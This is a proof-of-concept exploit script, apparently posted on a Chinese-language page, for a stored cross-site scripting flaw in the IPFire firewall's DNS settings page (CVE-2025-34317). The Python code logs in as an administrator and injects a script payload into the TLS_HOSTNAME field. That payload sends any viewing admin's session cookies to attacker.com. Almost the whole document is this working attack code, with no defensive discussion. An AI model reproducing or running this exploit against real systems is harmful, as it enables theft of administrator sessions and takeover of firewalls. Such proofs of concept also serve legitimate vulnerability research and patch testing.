IPFire DNS设置存储型XSS漏洞 (CVE-2025-34317)

import requests import sys from urllib.parse import quote # CVE-2025-34317 PoC - IPFire Stored XSS via DNS settings # Target: IPFire < 2.29 (Core Update 198) # Endpoint: /cgi-bin/dns.cgi TARGET_URL = "http://target-ipfire:444/cgi-bin/dns.cgi" USERNAME = "admin" PASSWORD = "password" # XSS payload - steals session cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit_stored_xss(): """ Exploit the stored XSS vulnerability in IPFire DNS settings. 1. Authenticate to IPFire web interface 2. Submit DNS entry with XSS payload in TLS_HOSTNAME parameter 3. Payload is stored and executed when any admin views DNS config """ session = requests.Session() # Step 1: Authentication auth_data = { 'username': USERNAME, 'password': PASSWORD } resp = session.post(f"{TARGET_URL.replace('/cgi-bin/dns.cgi', '/cgi-bin/auth.cgi')}", data=auth_data) if resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via DNS settings dns_data = { 'ACTION': 'add', 'DNS_NAME': 'malicious-dns', 'DNS_IP': '8.8.8.8', 'TLS_HOSTNAME': XSS_PAYLOAD, 'SAVE': 'Add' } resp = session.post(TARGET_URL, data=dns_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored in TLS_HOSTNAME field") print(f"[+] Any admin viewing DNS config will trigger: {XSS_PAYLOAD}") return True else: print("[-] Injection failed") return False if __name__ == "__main__": exploit_stored_xss()